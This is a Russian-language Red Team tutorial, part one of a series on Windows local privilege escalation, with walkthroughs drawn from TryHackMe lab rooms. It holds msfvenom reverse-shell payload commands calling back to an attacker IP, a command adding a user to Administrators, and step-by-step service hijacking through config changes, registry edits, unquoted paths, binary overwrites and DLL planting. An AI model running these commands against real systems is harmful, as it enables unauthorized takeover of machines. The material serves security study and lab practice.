Local Privilege Escalation
February 18

Повышение локальных привилегий Windows - 1 часть

Общие понятия

Конечная цель повышения привилегий в Windows — получить оболочку, работающую от имени администратора (administrator) или пользователя системы (system).

Повышение привилегий может быть простым (например, эксплойт ядра) или требуют тщательной разведки скомпрометированной системы.

Во многих случаях повышение привилегий может зависеть не только от единичной неправильной конфигурация, но может потребовать от вас подумать и объединить несколько неправильных конфигураций.

Все повышения привилегий фактически являются примерами нарушения контроля доступа.

Контроль доступа и права пользователей неразрывно связаны. Сосредотачиваясь на повышении привилегий в Windows, понимание того, как Windows обрабатывает разрешения, очень важно.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Понимание Разрешений в Windows

Учетные записи пользователей

Учетные записи пользователей используются для входа в систему Windows.

Думайте об учетной записи пользователя как о наборе настроек/предпочтений, привязанных к уникальной личности. Локальная учетная запись «Администратор» создается по умолчанию. В зависимости от версии Windows, могут существовать несколько других учетных записей пользователей по умолчанию (например, Гость).

Сервисные аккаунты (учетные записи служб)

Учетные записи служб (очевидно) используются для запуска служб в Windows.

Учетные записи служб нельзя использовать для входа в систему Windows.

Учетная запись SYSTEM — это учетная запись службы по умолчанию, которая имеет самые высокие привилегии любой локальной учетной записи в Windows. Другие учетные записи служб по умолчанию включают NETWORK SERVICE и LOCAL SERVICE.

Группы

Учетные записи пользователей могут принадлежать нескольким группам, а группы могут иметь несколько пользователей. Группы позволяют упростить контроль доступа к ресурсам. Обычные группы (например, Администраторы, Пользователи) имеют определенный список участников. Псевдогруппы (например, «Authenticated Users») имеют динамический список участников, которые меняются в зависимости от определенных взаимодействий.

Ресурсы

В Windows существует несколько типов ресурсов (также известных как объекты):

  • Файлы/каталоги (Files/Directories)
  • Записи реестра (Registry Entries)
  • Сервисы (Services)

Имеет ли пользователь и/или группа разрешение на выполнение определенного действия на ресурсе зависит от списка управления доступом (ACL) этого ресурса.

ACL и ACE

Разрешения на доступ к определенному ресурсу в Windows контролируется списком управления доступом (ACL) для этого ресурса. Каждый ACL состоит из нуля или более записей управления доступом (ACE). Каждый ACE определяет отношения между объектом (например, пользователь, группа) и определенным правом доступа.

Пример файлов ACL/ACE

Создание оболочек администратора

msfvenom

Если мы можем выполнять команды с правами администратора, то можем сгенерировать обратную оболочку (reverse shell) через msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe

Эту обратную оболочку можно поймать с помощью netcat или Metasploit через собственный обработчик multi/handler.

RDP

Альтернативно, если доступен RDP (или мы можем его включить), мы можем добавить нашего пользователя с низкими привилегиями в группу администраторов, а затем через графический интерфейс вызвать командную строку от имени администратора:

> net localgroup administrators <username> /add

Admin -> SYSTEM

Чтобы перейти от пользователя-администратора к полным привилегиям SYSTEM, вам можно использовать инструмент PsExec из Windows Sysinternals (https://docs.microsoft.com/enus/sysinternals/downloads/psexec).

> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe

Инструменты повышения привилегий

Инструменты позволяют нам автоматизировать разведку, которая может выявить потенциальное повышение привилегий.

Хотя всегда важно понимать, что делают инструменты, они неоценимы в условиях ограниченного времени. В данной статье в основном будут использоваться WinPEAS и Seatbelt, однако вы можете экспериментировать с другими инструментами и решать который вам нравится.

PowerUp и SharpUp

PowerUp и SharpUp — очень похожие инструменты, которые охотятся за определенными неправильными настройками эскалации привилегий.

PowerUp:

https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

SharpUp:

https://github.com/GhostPack/SharpUp

Предварительно скомпилированный SharpUp:

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe

Чтобы запустить PowerUp, запустите сеанс PowerShell и используйте следующий синтаксис для загрузки скрипта:

PC> . .\PowerUp.ps1

Запустите функцию Invoke-AllChecks, чтобы начать проверку распространенных неправильных настроек повышения привилегий:

PS> Invoke-AllChecks

Чтобы запустить SharpUp, запустите командную строку и запустите исполняемый файл:

> .\SharpUp.exe

SharpUp должен немедленно начать проверку наличия тех же неправильных конфигураций, что и PowerUp.

Seatbelt

Seatbelt — это инструмент перечисления, содержащий ряд проверок.

Он не занимается активным поиском неправильных настроек повышения привилегий, но предоставляет соответствующую информацию для дальнейшего расследования.

https://github.com/GhostPack/Seatbelt

Предварительно скомпилированный:

https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe 

Чтобы запустить все проверки и отфильтровать ненужные результаты:

> .\Seatbelt.exe all

Чтобы запустить конкретную проверку(и):

 > .\Seatbelt.exe <check> <check> …

WinPEAS

winPEAS — очень мощный инструмент, который не только активно ищет неправильные настройки повышения привилегий, но выделяет их для вывода в результатах.

https://github.com/carlospolop/privilege-escalationawesome-scripts-suite/tree/master/winPEAS 

Запуск всех проверок, избегая при этом трудоемких поисков:

> .\winPEASany.exe quiet cmd fast

Запуск определенных категорий проверок:

> .\winPEASany.exe quiet cmd systeminfo

accesschk.exe

AccessChk — старый, но все еще заслуживающий доверия инструмент для проверки прав контроля доступа пользователей.

Вы можете использовать его, чтобы проверить, имеет ли пользователь или группа доступ к файлам, каталогам, службам и разделам реестра.

Обратной стороной является то, что более поздние версии программы вызывают всплывающее окно с графическим интерфейсом «принять лицензионное соглашение». При использовании командной строки нам приходится использовать более старую версию, в которой все еще есть опция /accepteula.

Эксплойты ядра

Ядро — это сердце ​​любой операционной системы. Думайте об этом как о промежутке между прикладным программным обеспечением и реальным компьютерным оборудованием. Ядро имеет полный контроль над операционной системой. Эксплуатация уязвимости ядра может привести к выполнению программы от имени пользователя SYSTEM.

Поиск эксплойтов ядра

Поиск и использование эксплойтов ядра обычно представляет собой простой процесс:

  1. Укажите версию Windows/уровень исправления (системная информация).
  2. Найдите подходящие эксплойты (Google, ExploitDB, GitHub).
  3. Скомпилируйте и запустите.

Однако будьте осторожны, поскольку эксплойты ядра часто могут быть нестабильными и могут быть однократными или вызывать сбой системы.

Инструменты

Windows Exploit Suggester:

https://github.com/bitsadmin/wesng

Предварительно скомпилированные эксплойты ядра:

https://github.com/SecWiki/windows-kernel-exploits

Metasploit, в сессии meterpreter запустить команду:

run post/multi/recon/local_exploit_suggester

Watson:

https://github.com/rasta-mouse/Watson

Повышение привилегий

Примечание: эти шаги предназначены для Windows 7
  • Извлеките вывод команды systeminfo:
> systeminfo > systeminfo.txt 
  • Запустите wesng, чтобы найти потенциальные уязвимости:
# python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less 
  • Ссылка на скомпилированные эксплойты:
https://github.com/SecWiki/windows-kernel-exploits
  • Загрузите скомпилированный эксплойт для CVE-2018-8210 на уязвимую машину Windows:
https://github.com/SecWiki/windowskernel-exploits/blob/master/CVE-2018-8120/x64.exe
  • Запустите прослушиватель на Kali и запустите эксплойт, предоставив его с исполняемым файлом обратной оболочки, который должен запускаться с правами SYSTEM:
> .\x64.exe C:\PrivEsc\reverse.exe

Сервисные эксплойты

Сервисы (службы)

Службы — это просто программы, которые работают в фоновом режиме, принимают входные данные или выполняют обычные задачи. Если службы запускаются с системными привилегиями и неправильно настроены, их использование также может привести к выполнению команд с системными привилегиями.

Сервисные команды

Запросить конфигурацию службы:

> sc.exe qc <name>

Запросить текущий статус службы:

> sc.exe query <name>

Изменить параметр конфигурации службы:

> sc.exe config <name> <option>= <value>

Запустить/остановить службу:

> net start/stop <name>

Неправильные конфигурации сервиса

  • Небезопасные свойства службы
  • Путь службы без кавычек
  • Слабые разрешения реестра
  • Небезопасные исполняемые файлы службы
  • Взлом DLL (DLL Hijacking)

Каждая служба имеет список ACL, который определяет конкретные разрешения для конкретной службы. Некоторые разрешения безобидны (например, SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS). Некоторые могут быть полезны (например, SERVICE_STOP, SERVICE_START). Некоторые из них опасны (например, SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS)

Если у пользователя есть разрешение на изменение конфигурации службы, которая работает с системными привилегиями, мы можем изменить исполняемый файл, который использует служба, для одного из наших собственных.

Потенциальная «кроличья нора»: если вы можете изменить конфигурацию службы, но не можете остановить/запустить ее, возможно, вы не сможете повысить привилегии!

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Запустите winPEAS, чтобы проверить наличие неправильных конфигураций службы:
  • > .\winPEASany.exe quiet servicesinfo
  • Обратите внимание, что мы можем изменить службу «daclsvc».
  • Мы можем подтвердить это с помощью accesschk.exe:
> .\accesschk.exe /accepteula -uwcqv user daclsvc
  • Проверьте текущую конфигурацию сервиса:
> sc qc daclsvc
  • Проверьте текущий статус службы:
> sc query daclsvc
  • Перенастройте службу для использования нашего исполняемого файла обратной оболочки:
> sc config daclsvc binpath="\"C:\PrivEsc\reverse.exe\""
  • Запустите прослушиватель на Kali, а затем запустите службу для запуска эксплойта:
> net start daclsvc

Путь службы без кавычек

Исполняемые файлы в Windows можно запускать без использования их расширений (например, «whoami.exe» можно запустить, просто набрав «whoami»).

Некоторые исполняемые файлы принимают аргументы, разделенные пробелами, например: someprog.exe arg1 arg2 arg3… Такое поведение приводит к неоднозначности при использовании абсолютных путей, не заключенных в кавычки и содержащих пробелы.

Рассмотрим следующий путь без кавычек:

C:\Program Files\Some Dir\SomeProgram.exe

Для нас очевидно, что идет запуск SomeProgram.exe. Для Windows, C:\Program может быть исполняемым файлом с двумя аргументами: «Files\Some» и «Dir\ SomeProgram.exe». Windows разрешает эту неоднозначность, проверяя каждую из возможностей по очереди. Если мы сможем записать эксплойт в место, которое Windows проверяет перед фактическим исполняемым файлом, мы сможем вместо этого обманом заставить службу выполнить его.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Запустите winPEAS, чтобы проверить наличие неправильных конфигураций службы:
> .\winPEASany.exe quiet servicesinfo
  • Обратите внимание, что у службы «unquotedsvc» есть путь без кавычек, который также содержит пробелы:
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
  • Подтвердите это с помощью sc:
> sc qc unquotedsvc
  • Используйте accesschk.exe, чтобы проверить права на запись:
> .\accesschk.exe /accepteula -uwdq C:\
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
> .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
  • Скопируйте исполняемый файл обратной оболочки и переименуйте его соответствующим образом:
> copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
  • Запустите прослушиватель на Kali, а затем запустите службу для запуска эксплойта:
> net start unquotedsvc

Слабые разрешения реестра

Реестр Windows хранит записи для каждой службы. Поскольку записи реестра могут иметь списки ACL, если ACL неправильно настроен, возможно изменить конфигурацию службы, даже если мы не можем изменить ее напрямую.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Запустите winPEAS, чтобы проверить наличие неправильных конфигураций службы:
> .\winPEASany.exe quiet servicesinfo
  • Обратите внимание, что у службы «regsvc» слабые разрешения реестра: служба regsvc доступна для записи группе «NT AUTHORITY\INTERACTIVE» (фактически всем вошедшим в систему пользователям). Мы можем подтвердить это с помощью PowerShell:
PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
  • В качестве альтернативы можно использовать для подтверждения accesschk.exe:
> .\accesschk.exe /accepteula –uvwqk HKLM\System\CurrentControlSet\Services\regsvc
  • Перезапишите ключ реестра ImagePath, чтобы он указывал на наш исполняемый файл обратной оболочки:
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
  • Запустите прослушиватель на Kali, а затем запустите службу для запуска эксплойта:
> net start regsvc
  • Небезопасные исполняемые файлы службы

Если исходный исполняемый файл службы может быть изменен пользователем, мы можем просто заменить его исполняемым файлом обратной оболочки.

Не забудьте создать резервную копию исходного исполняемого файла, если вы используете его в реальной системе!

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windows10privesc
  • Запустите winPEAS, чтобы проверить наличие неправильных конфигураций службы:
> .\winPEASany.exe quiet servicesinfo
  • Обратите внимание, что у службы «filepermsvc» есть исполняемый файл, который доступен для записи каждому. Мы можем подтвердить это с помощью accesschk.exe:
> .\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
  • Создайте резервную копию исходного исполняемого файла службы:
> copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
  • Скопируйте исполняемый файл обратной оболочки, чтобы перезаписать исполняемый файл службы:
> copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
  • Запустите прослушиватель на Kali, а затем запустите службу для запуска эксплойта:
> net start filepermsvc

Взлом DLL (DLL Hijacking)

Часто служба пытается загрузить функциональные возможности из библиотеки, называемой DLL (библиотека динамической компоновки). Какая бы функциональность ни была у DLL, она будет выполняться с теми же привилегиями, что и служба, которая ее загрузила.

Если DLL загружается по абсолютному пути, вероятно, будет возможно повысить привилегии, если эта DLL доступна для записи пользователю.

Более распространенная неправильная конфигурация, которую можно использовать для повышения привилегий - если в системе отсутствует DLL, и пользователь имеет доступ на запись в каталог внутри пути, по которому Windows ищет библиотеки DLL.

К сожалению, первоначальное обнаружение уязвимых сервисов сложно, и часто весь процесс выполняется вручную.

Повышение привилегий

Пример взят с ресурса TryHackMe: https://tryhackme.com/room/windowsprivescarena
  • Используйте winPEAS для перечисления служб, отличных от Windows:
> .\winPEASany.exe quiet servicesinfo
  • Обратите внимание, что каталог C:\Temp доступен для записи и находится в переменной PATH. Начните с перечисления того, к каким из этих сервисов пользователь имеет доступ для остановки и запуска: 
> .\accesschk.exe /accepteula -uvqc user dllsvc
  • Служба «dllsvc» уязвима для перехвата DLL. Согласно winPEAS, служба запускает исполняемый файл dllhijackservice.exe. Мы можем подтвердить это вручную:
> sc qc dllsvc
  • Запустите Procmon64.exe с правами администратора. Нажмите Ctrl+L, чтобы открыть меню «Фильтр».
  • Добавьте новый фильтр по имени процесса, соответствующему dllhijackservice.exe.
  • На главном экране отмените выбор активности реестра и сетевой активности.
  • Запустите службу:
> net start dllsvc
  • Вернувшись в Procmon, обратите внимание, что появляются ошибки «NAME NOT» FOUND», связанные с файлом hijackme.dll.
  • В какой-то момент Windows пытается найти файл в каталоге C:\Temp, который, как мы обнаружили ранее, доступен для записи нашему пользователю.
  • В Kali создайте обратною оболочку DLL с именем hijackme.dll:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
  • Скопируйте DLL на машину-жертву в каталог C:\Temp. Запустите прослушиватель на Kali, а затем остановите/запустите службу, чтобы активировать эксплойт:
> net stop dllsvc
> net start dllsvc

Заключение

В первой части данной статьи мы рассмотрели основные инструментарии для поиска вектора повышения привилегий, а также более детально разобрали эксплойты ядра и сервизные экплойты. В следующих статьях мы продолжим углубляться в другие векторы повышения привилегий в ОС Windows.